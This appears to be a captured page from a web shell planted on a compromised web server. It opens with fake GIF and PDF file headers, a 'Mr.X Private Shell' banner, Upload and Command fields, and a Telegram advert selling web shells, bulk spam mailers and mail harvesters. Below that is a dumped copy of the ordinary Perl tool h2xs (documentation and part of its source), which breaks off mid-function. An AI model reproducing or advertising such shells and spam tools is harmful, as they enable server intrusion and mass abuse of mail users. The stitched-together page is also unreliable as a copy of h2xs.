GIF89; GIF89; %PDF- %PDF- Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.129: ~ $
usr/bin/h2xs000075500000167006000000000000006712 0ustar00#!/usr/bin/perl
    eval 'exec /usr/bin/perl -S $0 ${1+"$@"}'
	if 0; # ^ Run only under a shell

BEGIN { pop @INC if $INC[-1] eq '.' }

use warnings;

=head1 NAME

h2xs - convert .h C header files to Perl extensions

=head1 SYNOPSIS

B<h2xs> [B<OPTIONS> ...] [headerfile ... [extra_libraries]]

B<h2xs> B<-h>|B<-?>|B<--help>

=head1 DESCRIPTION

I<h2xs> builds a Perl extension from C header files.  The extension
will include functions which can be used to retrieve the value of any
#define statement which was in the C header files.

The I<module_name> will be used for the name of the extension.  If
module_name is not supplied then the name of the first header file
will be used, with the first character capitalized.

If the extension might need extra libraries, they should be included
here.  The extension Makefile.PL will take care of checking whether
the libraries actually exist and how they should be loaded.  The extra
libraries should be specified in the form -lm -lposix, etc, just as on
the cc command line.  By default, the Makefile.PL will search through
the library path determined by Configure.  That path can be augmented
by including arguments of the form B<-L/another/library/path> in the
extra-libraries argument.

In spite of its name, I<h2xs> may also be used to create a skeleton pure
Perl module. See the B<-X> option.

=head1 OPTIONS

=over 5

=item B<-A>, B<--omit-autoload>

Omit all autoload facilities.  This is the same as B<-c> but also
removes the S<C<use AutoLoader>> statement from the .pm file.

=item B<-B>, B<--beta-version>

Use an alpha/beta style version number.  Causes version number to
be "0.00_01" unless B<-v> is specified.

=item B<-C>, B<--omit-changes>

Omits creation of the F<Changes> file, and adds a HISTORY section to
the POD template.

=item B<-F>, B<--cpp-flags>=I<addflags>

Additional flags to specify to C preprocessor when scanning header for
function declarations.  Writes these options in the generated F<Makefile.PL>
too.

=item B<-M>, B<--func-mask>=I<regular expression>

selects functions/macros to process.

=item B<-O>, B<--overwrite-ok>

Allows a pre-existing extension directory to be overwritten.

=item B<-P>, B<--omit-pod>

Omit the autogenerated stub POD section.

=item B<-X>, B<--omit-XS>

Omit the XS portion. Used to generate a skeleton pure Perl module.
C<-c> and C<-f> are implicitly enabled.

=item B<-a>, B<--gen-accessors>

Generate an accessor method for each element of structs and unions. The
generated methods are named after the element name; will return the current
value of the element if called without additional arguments; and will set
the element to the supplied value (and return the new value) if called with
an additional argument. Embedded structures and unions are returned as a
pointer rather than the complete structure, to facilitate chained calls.

These methods all apply to the Ptr type for the structure; additionally
two methods are constructed for the structure type itself, C<_to_ptr>
which returns a Ptr type pointing to the same structure, and a C<new>
method to construct and return a new structure, initialised to zeroes.

=item B<-b>, B<--compat-version>=I<version>

Generates a .pm file which is backwards compatible with the specified
perl version.

For versions < 5.6.0, the changes are.
    - no use of 'our' (uses 'use vars' instead)
    - no 'use warnings'

Specifying a compatibility version higher than the version of perl you
are using to run h2xs will have no effect.  If unspecified h2xs will default
to compatibility with the version of perl you are using to run h2xs.

=item B<-c>, B<--omit-constant>

Omit C<constant()> from the .xs file and corresponding specialised
C<AUTOLOAD> from the .pm file.

=item B<-d>, B<--debugging>

Turn on debugging messages.

=item B<-e>, B<--omit-enums>=[I<regular expression>]

If I<regular expression> is not given, skip all constants that are defined in
a C enumeration. Otherwise skip only those constants that are defined in an
enum whose name matches I<regular expression>.

Since I<regular expression> is optional, make sure that this switch is followed
by at least one other switch if you omit I<regular expression> and have some
pending arguments such as header-file names. This is ok:

    h2xs -e -n Module::Foo foo.h

This is not ok:

    h2xs -n Module::Foo -e foo.h

In the latter, foo.h is taken as I<regular expression>.

=item B<-f>, B<--force>

Allows an extension to be created for a header even if that header is
not found in standard include directories.

=item B<-g>, B<--global>

Include code for safely storing static data in the .xs file.
Extensions that do no make use of static data can ignore this option.

=item B<-h>, B<-?>, B<--help>

Print the usage, help and version for this h2xs and exit.

=item B<-k>, B<--omit-const-func>

For function arguments declared as C<const>, omit the const attribute in the
generated XS code.

=item B<-m>, B<--gen-tied-var>

B<Experimental>: for each variable declared in the header file(s), declare
a perl variable of the same name magically tied to the C variable.

=item B<-n>, B<--name>=I<module_name>

Specifies a name to be used for the extension, e.g., S<-n RPC::DCE>

=item B<-o>, B<--opaque-re>=I<regular expression>

Use "opaque" data type for the C types matched by the regular
expression, even if these types are C<typedef>-equivalent to types
from typemaps.  Should not be used without B<-x>.

This may be useful since, say, types which are C<typedef>-equivalent
to integers may represent OS-related handles, and one may want to work
with these handles in OO-way, as in C<$handle-E<gt>do_something()>.
Use C<-o .> if you want to handle all the C<typedef>ed types as opaque
types.

The type-to-match is whitewashed (except for commas, which have no
whitespace before them, and multiple C<*> which have no whitespace
between them).

=item B<-p>, B<--remove-prefix>=I<prefix>

Specify a prefix which should be removed from the Perl function names,
e.g., S<-p sec_rgy_> This sets up the XS B<PREFIX> keyword and removes
the prefix from functions that are autoloaded via the C<constant()>
mechanism.

=item B<-s>, B<--const-subs>=I<sub1,sub2>

Create a perl subroutine for the specified macros rather than autoload
with the constant() subroutine.  These macros are assumed to have a
return type of B<char *>, e.g.,
S<-s sec_rgy_wildcard_name,sec_rgy_wildcard_sid>.

=item B<-t>, B<--default-type>=I<type>

Specify the internal type that the constant() mechanism uses for macros.
The default is IV (signed integer).  Currently all macros found during the
header scanning process will be assumed to have this type.  Future versions
of C<h2xs> may gain the ability to make educated guesses.

=item B<--use-new-tests>

When B<--compat-version> (B<-b>) is present the generated tests will use
C<Test::More> rather than C<Test> which is the default for versions before
5.6.2.  C<Test::More> will be added to PREREQ_PM in the generated
C<Makefile.PL>.

=item B<--use-old-tests>

Will force the generation of test code that uses the older C<Test> module.

=item B<--skip-exporter>

Do not use C<Exporter> and/or export any symbol.

=item B<--skip-ppport>

Do not use C<Devel::PPPort>: no portability to older version.

=item B<--skip-autoloader>

Do not use the module C<AutoLoader>; but keep the constant() function
and C<sub AUTOLOAD> for constants.

=item B<--skip-strict>

Do not use the pragma C<strict>.

=item B<--skip-warnings>

Do not use the pragma C<warnings>.

=item B<-v>, B<--version>=I<version>

Specify a version number for this extension.  This version number is added
to the templates.  The default is 0.01, or 0.00_01 if C<-B> is specified.
The version specified should be numeric.

=item B<-x>, B<--autogen-xsubs>

Automatically generate XSUBs basing on function declarations in the
header file.  The package C<C::Scan> should be installed. If this
option is specified, the name of the header file may look like
C<NAME1,NAME2>. In this case NAME1 is used instead of the specified
string, but XSUBs are emitted only for the declarations included from
file NAME2.

Note that some types of arguments/return-values for functions may
result in XSUB-declarations/typemap-entries which need
hand-editing. Such may be objects which cannot be converted from/to a
pointer (like C<long long>), pointers to functions, or arrays.  See
also the section on L</LIMITATIONS of B<-x>>.

=back

=head1 EXAMPLES


    # Default behavior, extension is Rusers
    h2xs rpcsvc/rusers

    # Same, but extension is RUSERS
    h2xs -n RUSERS rpcsvc/rusers

    # Extension is rpcsvc::rusers. Still finds <rpcsvc/rusers.h>
    h2xs rpcsvc::rusers

    # Extension is ONC::RPC.  Still finds <rpcsvc/rusers.h>
    h2xs -n ONC::RPC rpcsvc/rusers

    # Without constant() or AUTOLOAD
    h2xs -c rpcsvc/rusers

    # Creates templates for an extension named RPC
    h2xs -cfn RPC

    # Extension is ONC::RPC.
    h2xs -cfn ONC::RPC

    # Extension is a pure Perl module with no XS code.
    h2xs -X My::Module

    # Extension is Lib::Foo which works at least with Perl5.005_03.
    # Constants are created for all #defines and enums h2xs can find
    # in foo.h.
    h2xs -b 5.5.3 -n Lib::Foo foo.h

    # Extension is Lib::Foo which works at least with Perl5.005_03.
    # Constants are created for all #defines but only for enums
    # whose names do not start with 'bar_'.
    h2xs -b 5.5.3 -e '^bar_' -n Lib::Foo foo.h

    # Makefile.PL will look for library -lrpc in
    # additional directory /opt/net/lib
    h2xs rpcsvc/rusers -L/opt/net/lib -lrpc

    # Extension is DCE::rgynbase
    # prefix "sec_rgy_" is dropped from perl function names
    h2xs -n DCE::rgynbase -p sec_rgy_ dce/rgynbase

    # Extension is DCE::rgynbase
    # prefix "sec_rgy_" is dropped from perl function names
    # subroutines are created for sec_rgy_wildcard_name and
    # sec_rgy_wildcard_sid
    h2xs -n DCE::rgynbase -p sec_rgy_ \
    -s sec_rgy_wildcard_name,sec_rgy_wildcard_sid dce/rgynbase

    # Make XS without defines in perl.h, but with function declarations
    # visible from perl.h. Name of the extension is perl1.
    # When scanning perl.h, define -DEXT=extern -DdEXT= -DINIT(x)=
    # Extra backslashes below because the string is passed to shell.
    # Note that a directory with perl header files would
    #  be added automatically to include path.
    h2xs -xAn perl1 -F "-DEXT=extern -DdEXT= -DINIT\(x\)=" perl.h

    # Same with function declaration in proto.h as visible from perl.h.
    h2xs -xAn perl2 perl.h,proto.h

    # Same but select only functions which match /^av_/
    h2xs -M '^av_' -xAn perl2 perl.h,proto.h

    # Same but treat SV* etc as "opaque" types
    h2xs -o '^[S]V \*$' -M '^av_' -xAn perl2 perl.h,proto.h

=head2 Extension based on F<.h> and F<.c> files

Suppose that you have some C files implementing some functionality,
and the corresponding header files.  How to create an extension which
makes this functionality accessible in Perl?  The example below
assumes that the header files are F<interface_simple.h> and
I<interface_hairy.h>, and you want the perl module be named as
C<Ext::Ension>.  If you need some preprocessor directives and/or
linking with external libraries, see the flags C<-F>, C<-L> and C<-l>
in L<"OPTIONS">.

=over

=item Find the directory name

Start with a dummy run of h2xs:

  h2xs -Afn Ext::Ension

The only purpose of this step is to create the needed directories, and
let you know the names of these directories.  From the output you can
see that the directory for the extension is F<Ext/Ension>.

=item Copy C files

Copy your header files and C files to this directory F<Ext/Ension>.

=item Create the extension

Run h2xs, overwriting older autogenerated files:

  h2xs -Oxan Ext::Ension interface_simple.h interface_hairy.h

h2xs looks for header files I<after> changing to the extension
directory, so it will find your header files OK.

=item Archive and test

As usual, run

  cd Ext/Ension
  perl Makefile.PL
  make dist
  make
  make test

=item Hints

It is important to do C<make dist> as early as possible.  This way you
can easily merge(1) your changes to autogenerated files if you decide
to edit your C<.h> files and rerun h2xs.

Do not forget to edit the documentation in the generated F<.pm> file.

Consider the autogenerated files as skeletons only, you may invent
better interfaces than what h2xs could guess.

Consider this section as a guideline only, some other options of h2xs
may better suit your needs.

=back

=head1 ENVIRONMENT

No environment variables are used.

=head1 AUTHOR

Larry Wall and others

=head1 SEE ALSO

L<perl>, L<perlxstut>, L<ExtUtils::MakeMaker>, and L<AutoLoader>.

=head1 DIAGNOSTICS

The usual warnings if it cannot read or write the files involved.

=head1 LIMITATIONS of B<-x>

F<h2xs> would not distinguish whether an argument to a C function
which is of the form, say, C<int *>, is an input, output, or
input/output parameter.  In particular, argument declarations of the
form

    int
    foo(n)
	int *n

should be better rewritten as

    int
    foo(n)
	int &n

if C<n> is an input parameter.

Additionally, F<h2xs> has no facilities to intuit that a function

   int
   foo(addr,l)
	char *addr
	int   l

takes a pair of address and length of data at this address, so it is better
to rewrite this function as

    int
    foo(sv)
	    SV *addr
	PREINIT:
	    STRLEN len;
	    char *s;
	CODE:
	    s = SvPV(sv,len);
	    RETVAL = foo(s, len);
	OUTPUT:
	    RETVAL

or alternately

    static int
    my_foo(SV *sv)
    {
	STRLEN len;
	char *s = SvPV(sv,len);

	return foo(s, len);
    }

    MODULE = foo	PACKAGE = foo	PREFIX = my_

    int
    foo(sv)
	SV *sv

See L<perlxs> and L<perlxstut> for additional details.

=cut

# ' # Grr
use strict;


my( $H2XS_VERSION ) = ' $Revision: 1.23 $ ' =~ /\$Revision:\s+([^\s]+)/;
my $TEMPLATE_VERSION = '0.01';
my @ARGS = @ARGV;
my $compat_version = $];

use Getopt::Long;
use Config;
use Text::Wrap;
$Text::Wrap::huge = 'overflow';
$Text::Wrap::columns = 80;
use ExtUtils::Constant qw (WriteConstants WriteMakefileSnippet autoload);
use File::Compare;
use File::Path;

sub usage {
    warn "@_\n" if @_;
    die <<EOFUSAGE;
h2xs [OPTIONS ... ] [headerfile [extra_libraries]]
version: $H2XS_VERSION
OPTIONS:
    -A, --omit-autoload   Omit all autoloading facilities (implies -c).
    -B, --beta-version    Use beta \$VERSION of 0.00_01 (ignored if -v).
    -C, --omit-changes    Omit creating the Changes file, add HISTORY heading
                          to stub POD.
    -F, --cpp-flags       Additional flags for C preprocessor/compile.
    -M, --func-mask       Mask to select C functions/macros
                          (default is select all).
    -O, --overwrite-ok    Allow overwriting of a pre-existing extension directory.
    -P, --omit-pod        Omit the stub POD section.
    -X, --omit-XS         Omit the XS portion (implies both -c and -f).
    -a, --gen-accessors   Generate get/set accessors for struct and union members
                          (used with -x).
    -b, --compat-version  Specify a perl version to be backwards compatible with.
    -c, --omit-constant   Omit the constant() function and specialised AUTOLOAD
                          from the XS file.
    -d, --debugging       Turn on debugging messages.
    -e, --omit-enums      Omit constants from enums in the constant() function.
                          If a pattern is given, only the matching enums are
                          ignored.
    -f, --force           Force creation of the extension even if the C header
                          does not exist.
    -g, --global          Include code for safely storing static data in the .xs file.
    -h, -?, --help        Display this help message.
    -k, --omit-const-func Omit 'const' attribute on function arguments
                          (used with -x).
    -m, --gen-tied-var    Generate tied variables for access to declared
                          variables.
    -n, --name            Specify a name to use for the extension (recommended).
    -o, --opaque-re       Regular expression for \"opaque\" types.
    -p, --remove-prefix   Specify a prefix which should be removed from the
                          Perl function names.
    -s, --const-subs      Create subroutines for specified macros.
    -t, --default-type    Default type for autoloaded constants (default is IV).
        --use-new-tests   Use Test::More in backward compatible modules.
        --use-old-tests   Use the module Test rather than Test::More.
        --skip-exporter   Do not export symbols.
        --skip-ppport     Do not use portability layer.
        --skip-autoloader Do not use the module C<AutoLoader>.
        --skip-strict     Do not use the pragma C<strict>.
        --skip-warnings   Do not use the pragma C<warnings>.
    -v, --version         Specify a version number for this extension.
    -x, --autogen-xsubs   Autogenerate XSUBs using C::Scan.
        --use-xsloader    Use XSLoader in backward compatible modules (ignored
                          when used with -X).

extra_libraries
         are any libraries that might be needed for loading the
         extension, e.g. -lm would try to link in the math library.
EOFUSAGE
}

my ($opt_A,
    $opt_B,
    $opt_C,
    $opt_F,
    $opt_M,
    $opt_O,
    $opt_P,
    $opt_X,
    $opt_a,
    $opt_c,
    $opt_d,
    $opt_e,
    $opt_f,
    $opt_g,
    $opt_h,
    $opt_k,
    $opt_m,
    $opt_n,
    $opt_o,
    $opt_p,
    $opt_s,
    $opt_v,
    $opt_x,
    $opt_b,
    $opt_t,
    $new_test,
    $old_test,
    $skip_exporter,
    $skip_ppport,
    $skip_autoloader,
    $skip_strict,
    $skip_warnings,
    $use_xsloader
   );

Getopt::Long::Configure('bundling');
Getopt::Long::Configure('pass_through');

my %options = (
                'omit-autoload|A'    => \$opt_A,
                'beta-version|B'     => \$opt_B,
                'omit-changes|C'     => \$opt_C,
                'cpp-flags|F=s'      => \$opt_F,
                'func-mask|M=s'      => \$opt_M,
                'overwrite_ok|O'     => \$opt_O,
                'omit-pod|P'         => \$opt_P,
                'omit-XS|X'          => \$opt_X,
                'gen-accessors|a'    => \$opt_a,
                'compat-version|b=s' => \$opt_b,
                'omit-constant|c'    => \$opt_c,
                'debugging|d'        => \$opt_d,
                'omit-enums|e:s'     => \$opt_e,
                'force|f'            => \$opt_f,
                'global|g'           => \$opt_g,
                'help|h|?'           => \$opt_h,
                'omit-const-func|k'  => \$opt_k,
                'gen-tied-var|m'     => \$opt_m,
                'name|n=s'           => \$opt_n,
                'opaque-re|o=s'      => \$opt_o,
                'remove-prefix|p=s'  => \$opt_p,
                'const-subs|s=s'     => \$opt_s,
                'default-type|t=s'   => \$opt_t,
                'version|v=s'        => \$opt_v,
                'autogen-xsubs|x'    => \$opt_x,
                'use-new-tests'      => \$new_test,
                'use-old-tests'      => \$old_test,
                'skip-exporter'      => \$skip_exporter,
                'skip-ppport'        => \$skip_ppport,
                'skip-autoloader'    => \$skip_autoloader,
                'skip-warnings'      => \$skip_warnings,
                'skip-strict'        => \$skip_strict,
                'use-xsloader'       => \$use_xsloader,
              );

GetOptions(%options) || usage;

usage if $opt_h;

if( $opt_b ){
    usage "You cannot use -b and -m at the same time.\n" if ($opt_b && $opt_m);
    $opt_b =~ /^v?(\d+)\.(\d+)\.(\d+)/ ||
    usage "You must provide the backwards compatibility version in X.Y.Z form. "
          .  "(i.e. 5.5.0)\n";
    my ($maj,$min,$sub) = ($1,$2,$3);
    if ($maj < 5 || ($maj == 5 && $min < 6)) {
        $compat_version =
	    $sub ? sprintf("%d.%03d%02d",$maj,$min,$sub) :
	           sprintf("%d.%03d",    $maj,$min);
    } else {
        $compat_version = sprintf("%d.%03d%03d",$maj,$min,$sub);
    }
} else {
    my ($maj,$min,$sub) = $compat_version =~ /(\d+)\.(\d\d\d)(\d*)/;
    $sub ||= 0;
    warn sprintf <<'EOF', $maj,$min,$sub;
Defaulting to backwards compatibility with perl %d.%d.%d
If you intend this module to be compatible with earlier perl versions, please
specify a minimum perl version with the -b option.

EOF
}

if( $opt_B ){
    $TEMPLATE_VERSION = '0.00_01';
}

if( $opt_v ){
	$TEMPLATE_VERSION = $opt_v;

    # check if it is numeric
    my $temp_version = $TEMPLATE_VERSION;
    my $beta_version = $temp_version =~ s/(\d)_(\d\d)/$1$2/;
    my $notnum;
    {
        local $SIG{__WARN__} = sub { $notnum = 1 };
        use warnings 'numeric';
        $temp_version = 0+$temp_version;
    }

    if ($notnum) {
        my $module = $opt_n || 'Your::Module';
        warn <<"EOF";
You have specified a non-numeric version.  Unless you supply an
appropriate VERSION class method, users may not be able to specify a
minimum required version with C<use $module versionnum>.

EOF
    }
    else {
        $opt_B = $beta_version;
    }
}

# -A implies -c.
$skip_autoloader = $opt_c = 1 if $opt_A;

# -X implies -c and -f
$opt_c = $opt_f = 1 if $opt_X;

$opt_t ||= 'IV';

my %const_xsub;
%const_xsub = map { $_,1 } split(/,+/, $opt_s) if $opt_s;

my $extralibs = '';

my @path_h;

while (my $arg = shift) {
    if ($arg =~ /^-l/i) {
        $extralibs .= "$arg ";
        next;
    }
    last if $extralibs;
    push(@path_h, $arg);
}

usage "Must supply header file or module name\n"
        unless (@path_h or $opt_n);

my $fmask;
my $tmask;

$fmask = qr{$opt_M} if defined $opt_M;
$tmask = qr{$opt_o} if defined $opt_o;
my $tmask_all = $tmask && $opt_o eq '.';

if ($opt_x) {
  eval {require C::Scan; 1}
    or die <<EOD;
C::Scan required if you use -x option.
To install C::Scan, execute
   perl -MCPAN -e "install C::Scan"
EOD
  unless ($tmask_all) {
    $C::Scan::VERSION >= 0.70
      or die <<EOD;
C::Scan v. 0.70 or later required unless you use -o . option.
You have version $C::Scan::VERSION installed as $INC{'C/Scan.pm'}.
To install C::Scan, execute
   perl -MCPAN -e "install C::Scan"
EOD
  }
  if (($opt_m || $opt_a) && $C::Scan::VERSION < 0.73) {
    die <<EOD;
C::Scan v. 0.73 or later required to use -m or -a options.
You have version $C::Scan::VERSION installed as $INC{'C/Scan.pm'}.
To install C::Scan, execute
   perl -MCPAN -e "install C::Scan"
EOD
  }
}
elsif ($opt_o or $opt_F) {
  warn <<EOD if $opt_o;
Option -o does not make sense without -x.
EOD
  warn <<EOD if $opt_F and $opt_X ;
Option -F does not make sense with -X.
EOD
}

my @path_h_ini = @path_h;
my ($name, %fullpath, %prefix, %seen_define, %prefixless, %const_names);

my $module = $opt_n;

if( @path_h ){
    use File::Spec;
    my @paths;
    my $pre_sub_tri_graphs = 1;
    if ($^O eq 'VMS') {  # Consider overrides of default location
      # XXXX This is not equivalent to what the older version did:
      #		it was looking at $hadsys header-file per header-file...
      my($hadsys) = grep s!^sys/!!i , @path_h;
      @paths = qw( Sys$Library VAXC$Include );
      push @paths, ($hadsys ? 'GNU_CC_Include[vms]' : 'GNU_CC_Include[000000]');
      push @paths, qw( DECC$Library_Include DECC$System_Include );
    }
    else {
      @paths = (File::Spec->curdir(), $Config{usrinc},
		(split / +/, $Config{locincpth} // ""), '/usr/include');
    }
    foreach my $path_h (@path_h) {
        $name ||= $path_h;
    $module ||= do {
      $name =~ s/\.h$//;
      if ( $name !~ /::/ ) {
	$name =~ s#^.*/##;
	$name = "\u$name";
      }
      $name;
    };

    if( $path_h =~ s#::#/#g && $opt_n ){
	warn "Nesting of headerfile ignored with -n\n";
    }
    $path_h .= ".h" unless $path_h =~ /\.h$/;
    my $fullpath = $path_h;
    $path_h =~ s/,.*$// if $opt_x;
    $fullpath{$path_h} = $fullpath;

    # Minor trickery: we can't chdir() before we processed the headers
    # (so know the name of the extension), but the header may be in the
    # extension directory...
    my $tmp_path_h = $path_h;
    my $rel_path_h = $path_h;
    my @dirs = @paths;
    if (not -f $path_h) {
      my $found;
      for my $dir (@paths) {
	$found++, last
	  if -f ($path_h = File::Spec->catfile($dir, $tmp_path_h));
      }
      if ($found) {
	$rel_path_h = $path_h;
	$fullpath{$path_h} = $fullpath;
      } else {
	(my $epath = $module) =~ s,::,/,g;
	$epath = File::Spec->catdir('ext', $epath) if -d 'ext';
	$rel_path_h = File::Spec->catfile($epath, $tmp_path_h);
	$path_h = $tmp_path_h;	# Used during -x
	push @dirs, $epath;
      }
    }

    if (!$opt_c) {
      die "Can't find $tmp_path_h in @dirs\n"
	if ( ! $opt_f && ! -f "$rel_path_h" );
      # Scan the header file (we should deal with nested header files)
      # Record the names of simple #define constants into const_names
            # Function prototypes are processed below.
      open(CH, "<", "$rel_path_h") || die "Can't open $rel_path_h: $!\n";
    defines:
      while (<CH>) {
	if ($pre_sub_tri_graphs) {
	    # Preprocess all tri-graphs
	    # including things stuck in quoted string constants.
	    s/\?\?=/#/g;                         # | ??=|  #|
	    s/\?\?\!/|/g;                        # | ??!|  ||
	    s/\?\?'/^/g;                         # | ??'|  ^|
	    s/\?\?\(/[/g;                        # | ??(|  [|
	    s/\?\?\)/]/g;                        # | ??)|  ]|
	    s/\?\?\-/~/g;                        # | ??-|  ~|
	    s/\?\?\//\\/g;                       # | ??/|  \|
	    s/\?\?</{/g;                         # | ??<|  {|
	    s/\?\?>/}/g;                         # | ??>|  }|
	}
	if (/^[ \t]*#[ \t]*define\s+([\$\w]+)\b(?!\()\s*(?=[^"\s])(.*)/) {
	    my $def = $1;
	    my $rest = $2;
	    $rest =~ s!/\*.*?(\*/|\n)|//.*!!g; # Remove comments
	    $rest =~ s/^\s+//;
	    $rest =~ s/\s+$//;
	    if ($rest eq '') {
	      print("Skip empty $def\n") if $opt_d;
	      next defines;
	    }
	    # Cannot do: (-1) and ((LHANDLE)3) are OK:
	    #print("Skip non-wordy $def => $rest\n"),
	    #  next defines if $rest =~ /[^\w\$]/;
	    if ($rest =~ /"/) {
	      print("Skip stringy $def => $rest\n") if $opt_d;
	      next defines;
	    }
	    print "Matched $_ ($def)\n" if $opt_d;
	    $seen_define{$def} = $rest;
	    $_ = $def;
	    next if /^_.*_h_*$/i; # special case, but for what?
	    if (defined $opt_p) {
	      if (!/^$opt_p(\d)/) {
		++$prefix{$_} if s/^$opt_p//;
	      }
	      else {
		warn "can't remove $opt_p prefix from '$_'!\n";
	      }
	    }
	    $prefixless{$def} = $_;
	    if (!$fmask or /$fmask/) {
		print "... Passes mask of -M.\n" if $opt_d and $fmask;
		$const_names{$_}++;
	    }
	  }
      }
      if (defined $opt_e and !$opt_e) {
        close(CH);
      }
      else {
	# Work from miniperl too - on "normal" systems
        my $SEEK_SET = eval 'use Fcntl qw/SEEK_SET/; SEEK_SET' || 0;
        seek CH, 0, $SEEK_SET;
        my $src = do { local $/; <CH> };
        close CH;
        no warnings 'uninitialized';

        # Remove C and C++ comments
        $src =~ s#/\*[^*]*\*+([^/*][^*]*\*+)*/|("(\\.|[^"\\])*"|'(\\.|[^'\\])*'|.[^/"'\\]*)#$2#gs;
        $src =~ s#//.*$##gm;

	while ($src =~ /\benum\s*([\w_]*)\s*\{\s([^}]+)\}/gsc) {
	    my ($enum_name, $enum_body) = ($1, $2);
            # skip enums matching $opt_e
            next if $opt_e && $enum_name =~ /$opt_e/;
            my $val = 0;
            for my $item (split /,/, $enum_body) {
                next if $item =~ /\A\s*\Z/;
                my ($key, $declared_val) = $item =~ /(\w+)\s*(?:=\s*(.*))?/;
                $val = defined($declared_val) && length($declared_val) ? $declared_val : 1 + $val;
                $seen_define{$key} = $val;
                $const_names{$key} = { name => $key, macro => 1 };
            }
        } # while (...)
      } # if (!defined $opt_e or $opt_e)
    }
    }
}

# Save current directory so that C::Scan can use it
my $cwd = File::Spec->rel2abs( File::Spec->curdir );

# As Ilya suggested, use a name that contains - and then it can't clash with
# the names of any packages. A directory 'fallback' will clash with any
# new pragmata down the fallback:: tree, but that seems unlikely.
my $constscfname = 'const-c.inc';
my $constsxsfname = 'const-xs.inc';
my $fallbackdirname = 'fallback';

my $ext = chdir 'ext' ? 'ext/' : '';

my @modparts  = split(/::/,$module);
my $modpname  = join('-', @modparts);
my $modfname  = pop @modparts;
my $modpmdir  = join '/', 'lib', @modparts;
my $modpmname = join '/', $modpmdir, $modfname.'.pm';

if ($opt_O) {
	warn "Overwriting existing $ext$modpname!!!\n" if -e $modpname;
}
else {
	die "Won't overwrite existing $ext$modpname\n" if -e $modpname;
}
-d "$modpname"   || mkpath([$modpname], 0, 0775);
chdir($modpname) || die "Can't chdir $ext$modpname: $!\n";

my %types_seen;
my %std_types;
my $fdecls = [];
my $fdecls_parsed = [];
my $typedef_rex;
my %typedefs_pre;
my %known_fnames;
my %structs;

my @fnames;
my @fnames_no_prefix;
my %vdecl_hash;
my @vdecls;

if( ! $opt_X ){  # use XS, unless it was disabled
  unless ($skip_ppport) {
    require Devel::PPPort;
    warn "Writing $ext$modpname/ppport.h\n";
    Devel::PPPort::WriteFile('ppport.h')
        || die "Can't create $ext$modpname/ppport.h: $!\n";
  }
  open(XS, ">", "$modfname.xs") || die "Can't create $ext$modpname/$modfname.xs: $!\n";
  if ($opt_x) {
    warn "Scanning typemaps...\n";
    get_typemap();
    my @td;
    my @good_td;
    my $addflags = $opt_F || '';

    foreach my $filename (@path_h) {
      my $c;
      my $filter;

      if ($fullpath{$filename} =~ /,/) {
	$filename = $`;
	$filter = $';
      }
      warn "Scanning $filename for functions...\n";
      my @styles = $Config{gccversion} ? qw(C++ C9X GNU) : qw(C++ C9X);
      $c = C::Scan->new('filename' => $filename, 'filename_filter' => $filter,
        'add_cppflags' => $addflags, 'c_styles' => \@styles);
      $c->set('includeDirs' => ["$Config::Config{archlib}/CORE", $cwd]);

      $c->get('keywords')->{'__restrict'} = 1;

      push @$fdecls_parsed, @{ $c->get('parsed_fdecls') };
      push(@$fdecls, @{$c->get('fdecls')});

      push @td, @{$c->get('typedefs_maybe')};
      if ($opt_a) {
	my $structs = $c->get('typedef_structs');
	@structs{keys %$structs} = values %$structs;
      }

      if ($opt_m) {
	%vdecl_hash = %{ $c->get('vdecl_hash') };
	@vdecls = sort keys %vdecl_hash;
	for (local $_ = 0; $_ < @vdecls; ++$_) {
	  my $var = $vdecls[$_];
	  my($type, $post) = @{ $vdecl_hash{$var} };
	  if (defined $post) {
	    warn "Can't handle variable '$type $var $post', skipping.\n";
	    splice @vdecls, $_, 1;
	    redo;
	  }
	  $type = normalize_type($type);
	  $vdecl_hash{$var} = $type;
	}
      }

      unless ($tmask_all) {
	warn "Scanning $filename for typedefs...\n";
	my $td = $c->get('typedef_hash');
	# eval {require 'dumpvar.pl'; ::dumpValue($td)} or warn $@ if $opt_d;
	my @f_good_td = grep $td->{$_}[1] eq '', keys %$td;
	push @good_td, @f_good_td;
	@typedefs_pre{@f_good_td}  = map $_->[0], @$td{@f_good_td};
      }
    }
    { local $" = '|';
      $typedef_rex = qr(\b(?<!struct )(?<!enum )(?:@good_td)\b) if @good_td;
    }
    %known_fnames = map @$_[1,3], @$fdecls_parsed; # [1,3] is NAME, FULLTEXT
    if ($fmask) {
      my @good;
      for my $i (0..$#$fdecls_parsed) {
	next unless $fdecls_parsed->[$i][1] =~ /$fmask/; # [1] is NAME
	push @good, $i;
	print "... Function $fdecls_parsed->[$i][1] passes -M mask.\n"
	  if $opt_d;
      }
      $fdecls = [@$fdecls[@good]];
      $fdecls_parsed = [@$fdecls_parsed[@good]];
    }
    @fnames = sort map $_->[1], @$fdecls_parsed; # 1 is NAME
    # Sort declarations:
    {
      my %h = map( ($_->[1], $_), @$fdecls_parsed);
      $fdecls_parsed = [ @h{@fnames} ];
    }
    @fnames_no_prefix = @fnames;
    @fnames_no_prefix
      = sort map { ++$prefix{$_} if s/^$opt_p(?!\d)//; $_ } @fnames_no_prefix
         if defined $opt_p;
    # Remove macros which expand to typedefs
    print "Typedefs are @td.\n" if $opt_d;
    my %td = map {($_, $_)} @td;
    # Add some other possible but meaningless values for macros
    for my $k (qw(char double float int long short unsigned signed void)) {
      $td{"$_$k"} = "$_$k" for ('', 'signed ', 'unsigned ');
    }
    # eval {require 'dumpvar.pl'; ::dumpValue( [\@td, \%td] ); 1} or warn $@;
    my $n = 0;
    my %bad_macs;
    while (keys %td > $n) {
      $n = keys %td;
      my ($k, $v);
      while (($k, $v) = each %seen_define) {
	# print("found '$k'=>'$v'\n"),
	$bad_macs{$k} = $td{$k} = $td{$v} if exists $td{$v};
      }
    }
